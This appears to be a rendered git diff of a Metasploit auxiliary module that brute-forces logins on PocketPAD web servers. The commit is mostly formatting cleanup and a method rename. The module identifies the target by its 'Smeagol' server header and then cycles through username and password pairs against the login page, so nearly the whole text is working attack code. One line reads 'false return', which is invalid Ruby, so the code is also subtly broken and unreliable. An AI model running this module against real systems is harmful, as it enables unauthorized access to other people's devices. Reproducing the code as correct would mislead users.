msftidy done
parent
2c0ce2dffc
commit
4c01420f38
|
@ -7,12 +7,12 @@ require 'msf/core'
|
|||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'PocketPAD Login Brute Force Utility',
|
||||
'Description' => %{
|
||||
|
@ -24,13 +24,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
|
||||
))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_popaduo?
|
||||
def run_host(ip)
|
||||
unless is_app_popad?
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -38,13 +36,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# What's the point of running this module if the target actually isn't PocketPAD
|
||||
#
|
||||
#
|
||||
# What's the point of running this module if the target actually isn't PocketPAD
|
||||
#
|
||||
|
||||
def is_app_popaduo?
|
||||
def is_app_popad?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
|
@ -53,7 +51,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
vprint_error("#{peer} - HTTP Connection Failed...")
|
||||
return false
|
||||
false return
|
||||
end
|
||||
|
||||
if (res and res.code == 200 and res.headers['Server'].include?("Smeagol") and res.body.include?("PocketPAD"))
|
||||
|
@ -63,13 +61,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
vprint_error("#{peer} - Application is not PocketPAD. Module will not continue.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
|
||||
def do_login(user, pass)
|
||||
def do_login(user, pass)
|
||||
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
|
@ -102,6 +100,5 @@ class Metasploit3 < Msf::Auxiliary
|
|||
else
|
||||
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue